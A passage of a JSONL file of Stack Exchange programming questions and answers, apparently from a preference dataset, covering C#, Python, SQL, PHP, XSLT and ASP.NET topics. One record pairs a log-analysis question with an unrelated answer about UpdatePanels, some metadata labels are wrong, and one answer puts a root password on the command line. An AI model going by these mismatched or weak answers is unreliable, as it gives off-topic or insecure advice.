"question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.544712"}
{"id": "hf_f4269a3dc9fa", "question": "<p>Is it possible for a generic interface's type to be based on a specific parent class?</p>\n\n<p>For example:</p>\n\n<pre><code>public interface IGenericFace&lt;T : BaseClass&gt;\n{\n}\n</code></pre>\n\n<p>Obviously the above code doesn't work but if it did, what I'm trying to tell the compiler is that <code>T</code> must be a sub-class of <code>BaseClass</code>.  Can that be done, are there plans for it, etc.?</p>\n\n<p>I think it would be useful in terms of a specific project, making sure a generic interface/class isn't used with unintended type(s) at compile time.  Or also to sort of self-document: show what kind of type is intended.</p>\n", "question_body": "", "answer": "```\n```\npublic interface IGenericFace<T> where T : SomeBaseClass\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.592948"}
{"id": "hf_0f69d34e82e7", "question": "<p>How do I force Python's <code>print</code> function to flush the buffered output to the screen?</p>\n", "question_body": "", "answer": "In Python 3,\n```\nprint\n```\ncan take an optional\n```\nflush\n```\nargument:\n```\n```\nprint(\"Hello, World!\", flush=True)\n```\n```\nIn Python 2, after calling\n```\nprint\n```\n, do:\n```\n```\nimport sys\nsys.stdout.flush()\n```\n```\nBy default,\n```\nprint\n```\nprints to\n```\nsys.stdout\n```\n(see the documentation for more about\nfile objects\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.615682"}
{"id": "hf_d9182baf256a", "question": "<p>I have a user control that is pretty basic. It contains several TextBox controls, a few DropDownList controls, a save Button and a cancel Button. I would like to use this control in two different modes. The first mode is in the normal postback mode to do the save and cancel actions. The second mode would use AJAX to do the save and cancel actions.</p>\n\n<p>Is it possible to wrap the contents of the control in an UpdatePanel and then be able to turn on/off whether or not the UpdatePanel does AJAX or PostBack for the control events? Or would I be better served by just creating two new controls (1 with UpdatePanel, 1 without) to house the one old control?</p>\n", "question_body": "", "answer": "The easiest way to just 'turn off' your UpdatePanel is to set EnablePartialRendering to false in the ScriptManager.  I'm not sure that this is the best solution.  I would recommend adding your controls to an update panel in your codebehind Page_Load event handler based on a boolean flag.\n```\n```\nvoid Page_Load() {\n    if(IsAjaxy) {\n     upAnUpdatePanel.Controls.Add(tbSomeTextBox);\n    }\n    else {\n     this.Controls.Add(tbSomeTextBox);\n    }\n```\n```\nSomething along those lines should work just fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.640688"}
{"id": "hf_00f6e2f7457f", "question": "<p>I assume that most of the analyzing and tracking is done based on the data gathered from browser actions like page requests. Tools like AWStats, Google Analytics and Omniture take place in this.</p>\n\n<p>But there is also good amount of data available in databases or service level logs. For example GWT based application might be a bit tricky to analyze. Or in case of a financial application customer might be interested in suspicious transfers.</p>\n\n<p>So, please share your best practices:</p>\n\n<ul>\n<li>What kind of approaches you have implemented for DB or log analysis?</li>\n<li>Do you use some existing tools or your own in-house products?</li>\n<li>Are you happy just to follow which functionality is the used most one and how fast it is processed?</li>\n<li>Or do you actually store user action paths and use those to spot unusual patterns?</li>\n</ul>\n", "question_body": "", "answer": "The easiest way to just 'turn off' your UpdatePanel is to set EnablePartialRendering to false in the ScriptManager.  I'm not sure that this is the best solution.  I would recommend adding your controls to an update panel in your codebehind Page_Load event handler based on a boolean flag.\n```\n```\nvoid Page_Load() {\n    if(IsAjaxy) {\n     upAnUpdatePanel.Controls.Add(tbSomeTextBox);\n    }\n    else {\n     this.Controls.Add(tbSomeTextBox);\n    }\n```\n```\nSomething along those lines should work just fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.665182"}
{"id": "hf_1a0a79664415", "question": "<p>I need to select from a table and filter on dates greater than a \nspecified date. </p>\n\n<p>The problem I'm having is that the dates are stored as nchar(20) and I \ncan't seem to get it converted to date in the where clause. </p>\n\n<pre><code>SELECT CONVERT(DATETIME,log_time,20) from dbo.logs \nwhere CONVERT(DATETIME,log_time,20) &gt; '10/20/2008' \n</code></pre>\n\n<p>Msg 241, Level 16, State 1, Line 1 \nConversion failed when converting datetime from character string. </p>\n", "question_body": "", "answer": "try this:\n```\n```\nselect convert(datetime, cast(trim(log_time), nvarchar)) from dbo.logs\nwhere convert(datetime, cast(trim(log_time), nvarchar)) > '10/20/2008'\n```\n```\nI think the trick is that you need to trim the string and cast to nvarchar", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.692884"}
{"id": "hf_13b016581bb4", "question": "<p>I'm creating a table that looks something like this.</p>\n\n<pre><code>CREATE TABLE packages\n(\n  productCode char(2)\n  , name nvarchar(100) \n  , ...\n)\n</code></pre>\n\n<p>How do I make sure the productCode is always one of two values <code>XJ</code> or <code>XD</code>?</p>\n", "question_body": "", "answer": "```\n```\nALTER TABLE packages\nADD CONSTRAINT constraintname CHECK (productCode in ('XJ', 'XD'))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.747992"}
{"id": "hf_73251adca6aa", "question": "<p>This is a winforms application.</p>\n\n<p>In windows, I want the user to click and button, and then a popup should make the user select the path of where they want to save the file.</p>\n", "question_body": "", "answer": "```\nStringBuilder.ToString()\n```\ncan be passed to the\n```\nTextStream.Write()\n```\nmethod after creating the file.\nUsing the\nSaveFileDialog class\n, you can let the user select path and file name - in a standard way. Detailed examples in the\ndoc\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.795616"}
{"id": "hf_2abe847f9c2e", "question": "<p>The first one is definitely something that works, but which one below is the efficient way?</p>\n\n<pre><code>switch($type) {\n    case 1:\n        print 'success';\n    break;\n\n    case 2:\n        print 'success';\n    break;\n\n    case 3:\n        print 'success';\n    break;\n\n    case 4:\n        print 'success for type 4';\n    break;\n}\n</code></pre>\n\n<p>Since 1, 2 and 3 print do the same, can I do this?</p>\n\n<pre><code>switch($type) {\n    case 1, 2, 3:\n        print 'success';\n    break;\n\n    case 4:\n        print 'success for type 4';\n    break;\n}\n</code></pre>\n\n<p>or</p>\n\n<pre><code>switch($type) {\n    case 1:\n    case 2:\n    case 3:\n        print 'success';\n    break;\n\n    case 4:\n        print 'success for type 4';\n    break;\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nswitch($type) \n {\n     case 1:\n     case 2:\n     case 3:\n         print 'success';\n     break;\n     case 4:\n         print 'success for type 4';\n     break;\n }\n```\n```\nIs the way to go!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.820608"}
{"id": "hf_3258ee2a8ac7", "question": "<p>I'm writing a python script that executes a csh script in Solaris 10. The csh script prompts the user for the root password (which I know) but I'm not sure how to make the python script answer the prompt with the password. Is this possible? Here is what I'm using to execute the csh script:</p>\n\n<pre><code>import commands\n\ncommands.getoutput('server stop')\n</code></pre>\n", "question_body": "", "answer": "Should be able to pass it as a parameter.  something like:\n```\n```\ncommands.getoutput('server stop -p password')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.843724"}
{"id": "hf_590188ddad63", "question": "<p>As I've read somewhere it is advised to use !== and === instead.</p>\n", "question_body": "", "answer": "\"Use the strict equality operator (===) when you want to check that the two operands are of the same type and value. Use the regular equality operator (==) if you care only about the value and the type does not matter. If, for example, one operand is the number 5 and the other operand is the string \"5\", standard equality operator will return true, but, since they are not of the same type, a strict equality operator will return false.\"\nhttp://www.webreference.com/js/column26/stricteq.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.963465"}
{"id": "hf_888567b5b2a6", "question": "<p>I saw a code snippet yesterday in one of the responses here on StackOverflow that intrigued me. It was something like this:</p>\n\n<pre><code> List&lt;string&gt; myList = new List&lt;string&gt; {\"aBc\", \"HELLO\", \"GoodBye\"};\n\n myList.ForEach(d=&gt;d.ToLower());\n</code></pre>\n\n<p>I was hoping I could use it to convert all items in myList to lowercase. However, it doesn't happen... after running this, the casing in myList is unchanged.</p>\n\n<p>So my question is whether there IS a way, using LINQ and Lambda expressions to easily iterate through and modify the contents of a list in a manner similar to this.</p>\n\n<p>Thanks,\nMax</p>\n", "question_body": "", "answer": "```\n```\n[TestMethod]\npublic void LinqStringTest()\n{\n    List<string> myList = new List<string> { \"aBc\", \"HELLO\", \"GoodBye\" };\n    myList = (from s in myList select s.ToLower()).ToList();\n    Assert.AreEqual(myList[0], \"abc\");\n    Assert.AreEqual(myList[1], \"hello\");\n    Assert.AreEqual(myList[2], \"goodbye\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:57.988283"}
{"id": "hf_367316db9765", "question": "<p>I am attempting to disable SSL v2.0 protocol on IIS 7.</p>\n\n<p>The following article refers to IIS v6:\n<a href=\"http://support.microsoft.com/kb/187498\" rel=\"noreferrer\">http://support.microsoft.com/kb/187498</a></p>\n\n<p>It doesn't seem to apply because the only protocol listed in the registry is SSL 2.0 (not all the others) and the setting \"DisabledByDefault=1\" is already in there, which would seem to imply that it is disabled.</p>\n\n<p>However, the following article seems to suggest that it still applies and to turn off \"DisabledByDefault\" which seems strange.\n<a href=\"http://forums.iis.net/t/1151822.aspx\" rel=\"noreferrer\">http://forums.iis.net/t/1151822.aspx</a></p>\n\n<p>I only need to disable SSL v2.0, but I want to be relatively confident I am doing the right thing.</p>\n", "question_body": "", "answer": "Add a DWORD named \"Enabled\" with value 0x0 (default) to the SSL 2.0 key", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.012618"}
{"id": "hf_b2d7d2bc2f4c", "question": "<p>I have a Delphi Web Server setup and running, publishing Web Services, and I want to know some stuff on the calls to the web services:</p>\n\n<ul>\n<li>The IP address of the client who calls the web service.</li>\n<li>Some SOAP information on the call, such as username and password.</li>\n</ul>\n\n<p>How can I get this information from within the service code? My class is inheriting from TSoapDataModule, so I figure there's a way to get that info through it. Still, I can't find how.</p>\n\n<pre><code>TMyAppServerDataModule = class(TSoapDataModule, ITMyAppServerDataModule ,\n            IAppServerSOAP, IAppServer, ITMySOAPWebService)\n// ...my working components and methods... //\nend;\n</code></pre>\n", "question_body": "", "answer": "You should be able to get a\nTWebRequest\nfrom the Request property of the TWebModule object you get from calling\nGetSOAPWebModule\n. TWebRequest will tell you lots of things about the request. Like RemoteAddr", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.061676"}
{"id": "hf_233d834f7853", "question": "<p>I make a request to an xml web service, and get back a response. This response, being a stream, is then saved to a string. The problem is, the response is full of tags, CDATA, etc (as you would expect). There is no line breaking either, as to be expected.</p>\n\n<p>I want to take this string, which represents an xml document, and strip it of all its tags but keep the actual values, and also, make sure that each record is in one line, so:</p>\n\n<pre><code>&lt;Record&gt;\n  &lt;name&gt;adam&lt;/name&gt;\n  &lt;telephoneno&gt;000&lt;/telephonenumber&gt;\n&lt;/Record&gt;\n&lt;Record&gt;\n  &lt;name&gt;mike&lt;/name&gt;\n  &lt;telephoneno&gt;001&lt;/telephonenumber&gt;\n&lt;/Record&gt;\n</code></pre>\n\n<p>Will be transformed to:</p>\n\n<pre><code>adam 000\nmike 001\n</code></pre>\n\n<p>Headings is an easy issue, but how could I achieve this? I've tried datatables and datasets but I don't think they have great support for achieving what I am trying to do.</p>\n", "question_body": "", "answer": "This is exactly what XSLT is for! It transforms XML files into a different output. In your case, you could use a relatively simple XSL transformation to output a list.\nThis might do it:\nrecords.xml:\n```\n```\n<?xml version=\"1.0\"?>\n<?xml-stylesheet type=\"text/xsl\" href=\"style.xsl\"?>\n<Records>\n  <Record>\n    <name>adam</name>\n    <telephonenumber>000</telephonenumber>\n  </Record>\n  <Record>\n    <name>mike</name>\n    <telephonenumber>001</telephonenumber>\n  </Record>\n</Records>\n```\n```\nstyle.xsl\n```\n```\n<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\n  <xsl:output method=\"text\" omit-xml-declaration=\"yes\" indent=\"no\"/>\n  <xsl:template match=\"Record\">\n    <xsl:value-of select=\"name\"/><xsl:text> </xsl:text><xsl:value-of select=\"telephonenumber\"/>\n  </xsl:template>\n</xsl:stylesheet>\n```\n```\nI tested it with\nthis tool\nand it works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.143030"}
{"id": "hf_0fdbf844beda", "question": "<p>I am trying to include a value from a database table within the value element of an input field.<br>\nThis is what I have, but it is not working:</p>\n\n<pre><code>?&gt;&lt;input type=\"text\" size=\"10\" value=\"&lt;?= date(\"Y-m-d\", \nstrtotime($rowupd['upcoming_event_featured_date'])) ?&gt;\" name=\"upcoming_event_featured_date\" \nid=\"keys\"/&gt;&lt;?php\n</code></pre>\n\n<p>I have done this before, but I usually print it out like this:</p>\n\n<pre><code>print '&lt;input type=\"text\" size=\"10\" value=\"'.date(\"Y-m-d\", \nstrtotime($rowupd['upcoming_event_featured_date'])).'\" name=\"upcoming_event_featured_date\" \nid=\"keys\"/&gt;';\n</code></pre>\n\n<p>What is the appropriate way of doing this without using <code>print ''</code>?</p>\n", "question_body": "", "answer": "You can use the\nshort_open_tag\nini directive to turn on the <?= shortcut for printing.\nIf that is not available, you must use either print or echo to accomplish this.\nYou can try:\n```\n```\nini_set('short_open_tag', true);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.206297"}
{"id": "hf_e454404b0eb5", "question": "<p>Is there any library function for this purpose, so I don't do it by hand and risk ending in TDWTF?</p>\n\n<pre><code>echo ceil(31497230840470473074370324734723042.6);\n\n// Expected result\n31497230840470473074370324734723043\n\n// Prints\n&lt;garbage&gt;\n</code></pre>\n", "question_body": "", "answer": "This will work for you:\n```\n```\n$x = '31497230840470473074370324734723042.9';\n\nbcscale(100);\nvar_dump(bcFloor($x));\nvar_dump(bcCeil($x));\nvar_dump(bcRound($x));\n\nfunction bcFloor($x)\n{\n    $result = bcmul($x, '1', 0);\n    if ((bccomp($result, '0', 0) == -1) && bccomp($x, $result, 1))\n        $result = bcsub($result, 1, 0);\n\n    return $result;\n}\n\nfunction bcCeil($x)\n{\n    $floor = bcFloor($x);\n    return bcadd($floor, ceil(bcsub($x, $floor)), 0);\n}\n\nfunction bcRound($x)\n{\n    $floor = bcFloor($x);\n    return bcadd($floor, round(bcsub($x, $floor)), 0);\n}\n```\n```\nBasically it finds the flooy by multiplying by one with zero precision.\nThen it can do ceil / round by subtracting that from the total, calling the built in functions, then adding the result back on\nEdit: fixed for -ve numbers", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.272333"}
{"id": "hf_350ac652d3fd", "question": "<p>I'd like a loop that uses a UInt16 (ushort) to loop through all of its values.  However, this doesn't do it:</p>\n\n<pre><code>for( ushort i = 0; i &lt; UInt16.MaxValue; i++ )\n{\n    // do something\n}\n</code></pre>\n\n<p>The problem is that the loop will quit when i == 0xFFFF and not \"do something\".\nIf I change the 'for' statement to \"for(ushort i = 0; i &lt;= UInt16.MaxValue; i++ )\", then it becomes an infinite loop because i never gets to 0x10000 because ushorts only go to 0xFFFF.</p>\n\n<p>I could make 'i' an int and cast it or assign it to a ushort variable in the loop.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Use a\n```\ndo...while\n```\nloop\n```\n```\nushort i = 0;\ndo\n{\n    // do something\n} while(i++ < UInt16.MaxValue);\n```\n```\nThere is an interesting discussion of testing loops at the top vs. the bottom\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.329294"}
{"id": "hf_a255286a3715", "question": "<p>As a counterpart to <a href=\"https://stackoverflow.com/questions/215470/c-coding-guideline-102\">C++ Coding Guideline 102</a>, which of the <a href=\"http://www.gotw.ca/publications/c++cs.htm\" rel=\"nofollow noreferrer\">101 guidelines of Sutter &amp; Alexandrescu</a> do you violate or ignore most often, and why?</p>\n", "question_body": "", "answer": "I'd say for me, it's probably 16. Avoid macros. I find there are a good number of things I can only do with macros (especially inlining __FILE__ and __LINE__ into expressions), and many cases where I need a compact expression which operates in the external function context (checking result codes and returning, for example). As a result, my code tends to be sprinkled liberally with assertions in the form of macros, for example, so I'd say this is one I ignore quite a bit.\nThat said, I would forgo most of my uses if the language allowed alternative similarly compact expressions of the same concepts, but since it does not, macros will be around for a long time.\nI should add, it's not to say that I think the suggestion is bad, or it's bad to follow it when you have an alternative available. I just find that I end up using a lot of macros, usually because there's no alternative available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.352071"}
{"id": "hf_f183c768d0ae", "question": "<p>I am making a strong effort to discipline my projects and create a Vision/Scope document at the onset.  Included in this are the use case diagrams.  Just listing out the use cases has really helped me fully see all the requirements that the customer is asking for, and it has opened up dialog.</p>\n\n<p>I am wondering about how detailed the use case should be.  If I am making a web application and the user will login to see a report, do I list all the columns on the report in the use case description?</p>\n\n<p>If not, then when would I document those details?</p>\n", "question_body": "", "answer": "the advantage of use-case diagrams is that they are simple and end-users can read and understand them\nthe columns to go on a report are part of a design or requirements specification (details of a feature, in agile terms) and do\nnot\nbelong on a use-case diagram\nanything that clutters the use-case diagram belongs somewhere else\nwhere? it doesn't matter, as long as it's a consistent place and you know where to find it ;-)\nto remind people what a use-case diagram looks like - and why there is no room for spurious details -\n(source:\nagilemodeling.com\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.376639"}
{"id": "hf_c2b366b53970", "question": "<p>Ok simple question. I have a JSF application, containing a login page. The problem is if the user loads the login page, leaves it for a while, then tries to login the session expires and a ViewExpiredException is thrown. I could redirect back to the login when this happens, but that isn't very smooth. How can I allow this flow to properly login without an additional attempt?</p>\n", "question_body": "", "answer": "Couple of slightly hacky solutions:\n(Very hacky) use a\n```\n<meta http-equiv=\"refresh\" content=\"5\"/>\n```\ntag to automatically reload the page every so often.\nUse a JavaScript function to periodically send a 'ping' request to the server to keep the session alive.\nWe use\nIceFaces\nat work which automatically detects when your session has expired and displays a pop-up alerting you to the fact. But we do still sometimes have problems on the login page for some reason.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.522056"}
{"id": "hf_cdf51ac2b423", "question": "<p>What's everyone take on tieing code enum's to row ID's in a database table? I'm really looking for a cleaner alternative. What if for example your static rows in a given table are ID's 1,2,3, and then that table gets filled with user transactional data using ID's 4-100, and then you later want to add a new row ID which in your local production database is row ID 4, but when that row goes to a customers database it will have to be 101...well that kinda breaks everything.</p>\n\n<p>So how do you handle static locked rows in a table that also gets filled with transactional data?</p>\n\n<p>Thanks,\nMeshMan</p>\n", "question_body": "", "answer": "Don't do that. ;-)\nIf you have static rows, values that never change, in a table that has user data that is transactional or at least mutable, then I'd say you have at least a normalization issue in the schema.\nReference data belongs in it's own table, usually.  If the table itself contains only the reference data, then assigning the IDs from the application or using generated IDs from the DB becomes a matter of preference.\nI've often toyed with the idea of generating either a 'source code' Enum class from DB tables or filling DB tables with Enum class information at build/deployment time, but I've never 'gotten around to it'.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.582736"}
{"id": "hf_8e8760ecaf89", "question": "<p>I am on the way to build an ASP.NET MVC application with the latest beta release and I wonder if it is possible to change the default project Layout of</p>\n\n<p>/Views/Home/Index.aspx\n/Views/Home/About.aspx</p>\n\n<p>to</p>\n\n<p>/Blog/Views/Home/Index.aspx\n/Blog/Views/Home/About.aspx</p>\n\n<p>/Forum/Views/Home/Index.aspx\n/Forum/Views/Home/About.aspx</p>\n\n<p>The goal is to get some separation between \"applications\" within one single Web project, something like Thomas Owens asked already here: <a href=\"https://stackoverflow.com/questions/178398/under-an-mvc-framework-which-directory-structure-would-be-expected-by-other-dev\">Under an MVC framework, which directory structure would be expected by other developers?</a> </p>\n\n<p>Of course this should include the Controllers as well, not only the Views.</p>\n", "question_body": "", "answer": "Yes, it should be possible to do this.  I can think of one way; there may be others.\nThe first step is to modify the default route to include your application name:\n```\n```\nroutes.MapRoute(\"Default\",\n                \"{applicationName}/{controller}/{action}/{id})\",\n                null, null);\n```\n```\nI'm presuming that you're going to group the two \"applications\" into different namespaces within a single assembly. So you might have two namespaces like:\nMyApp.Blog.Controllers\nMyApp.Forum.Controllers\nNext, you need to change the controller factory so that it instantiates the right controller. You can do this by subtyping the DefaultControllerFactory and overriding the GetControllerType method:\n```\n```\nprotected override System.Type GetControllerType(string controllerName)\n    {\n        string applicationName;\n        if (RequestContext != null && \n           RequestContext.RouteData.Values.TryGetValue(\n           \"applicationName\", out applicationName)) {\n           // return controller type using app name to \n           // look up namespace and controllerName argument\n           return ...\n        }\n\n        // if no match, maybe it's a different controller/route\n        return base.GetControllerType(controllerName);\n    }\n```\n```\nFinally, you need to tell MVC to use your ControllerFactory. In Global.asax.cs:\n```\n```\nprivate void Application_Start(object sender, EventArgs e)\n    {\n        RegisterRoutes(RouteTable.Routes);\n        ControllerBuilder.Current.SetControllerFactory(\n            MyApp.MyControllerFactory());\n    }\n```\n```\nLocating views can be handled similarly.  In this case, you subtype WebFormViewEngine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.619825"}
{"id": "hf_e13e2177b238", "question": "<p>I know enough to know that we need to get our application to deploy with a single user action. However, I <strong>don't</strong> know:</p>\n\n<ol>\n<li>What are some good tools to use in a .NET shop?</li>\n<li>How do you manage config changes for each of your environments?</li>\n</ol>\n\n<p>Can someone point me to some good resources for continous integration. I'd like to see some theory as well as a step by step practical guide.</p>\n\n<p><strong>Edit:</strong><br>\nI'm in need to automated a web deployment right now; however, I'd also like to learn how to do this for desktop apps.</p>\n", "question_body": "", "answer": "Visual Build Pro\nfrom Kinook is a pretty good tool for one-click deployment. It's easy to use and has a lot of capabilities. I have been using it for years.  Of course there's also NAnt, which I haven't used much.\nAs far as managing config changes, I manage multiple config files with extensions that indicate the deployment environment, and then just do a simple rename as a step within my build script.\nFor example, if I am deploying to Test, I might have a config file called Web.test.config, which gets automatically renamed to Web.config by the build script.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.723558"}
{"id": "hf_957839feea7e", "question": "<p>I cant' figure out how to reference the current instance object defined by the XAML file in the XAML file.</p>\n\n<p>I have a converter that I want to send in the current instance as the parameter object.</p>\n\n<pre><code>{Binding Path=&lt;bindingObject&gt;, Converter={x:Static namespace:Converter.Instance}, ConverterParameter=this}\n</code></pre>\n\n<p>In this code this is converted to a string instead of a reference to the current instance object.</p>\n\n<p>Thanks</p>\n\n<p>John</p>\n", "question_body": "", "answer": "Have you tried using the\n```\nRelativeSource\n```\nmarkup extension\n? You can use\n```\nSelf\n```\nthere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.784060"}
{"id": "hf_ed811c777eb8", "question": "<p>Anyone know off the top of their heads how to convert a System.Xml.XmlNode to System.Xml.Linq.XNode?</p>\n", "question_body": "", "answer": "I don't think there is, but why would you need to? Each is the lowest 'leaf' of the Xml structure for different ways of reading the document.\nIf you use Linq to Xml and XDocument you'll have all the linq-style syntax and new functionality, but really all that's about selecting a node.\nOnce you have the element that you're dealing with, why do you need to switch?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.809137"}
{"id": "hf_1fd7dca721bc", "question": "<p>I want to use the <a href=\"http://simplehtmldom.sourceforge.net/manual_api.htm\" rel=\"noreferrer\">php simple HTML DOM parser</a> to grab the image, title, date, and description from each article on a page full of articles. When looking at the API I notice it has a set_callback which Sets a callback function. However im not sure what this does or how I would use it? In one of the examples its used to call a function which strips out some stuff, im wondering if you have to use this to call all functions?</p>\n\n<p>I guess im wondering why I use this, and what does it do as I have never come across a callback function before!</p>\n", "question_body": "", "answer": "Here's a basic callback function example:\n```\n```\n<?php\n\nfunction thisFuncTakesACallback($callbackFunc)\n{\n    echo \"I'm going to call $callbackFunc!<br />\";\n    $callbackFunc();\n}\n\nfunction thisFuncGetsCalled()\n{\n    echo \"I'm a callback function!<br />\";\n}\n\nthisFuncTakesACallback( 'thisFuncGetsCalled' );\n?>\n```\n```\nYou can call a function that has its name stored in a variable like this:\n$variable()\n.\nSo, in the above example, we pass the name of the\nthisFuncGetsCalled\nfunction to\nthisFuncTakesACallback()\nwhich then calls the function passed in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.844731"}
{"id": "hf_95758e96100d", "question": "<p>In a project I am working on, Apache is set up to only forward requests that come in as /prefix/* to mongrel. How can I tell ruby on rails to generate all URLs with that prefix? </p>\n\n<p>I have the routes set up for forward to the correct controller action by doing this:</p>\n\n<pre><code>map.connect 'sfc/:controller/:action'\n</code></pre>\n\n<p>but that doesn't seem to affect the way that the url writer generates the URLs.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "The\n```\nRAILS_RELATIVE_URL_ROOT\n```\nenvironment variable should do the trick, though I haven't tried it myself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.869075"}
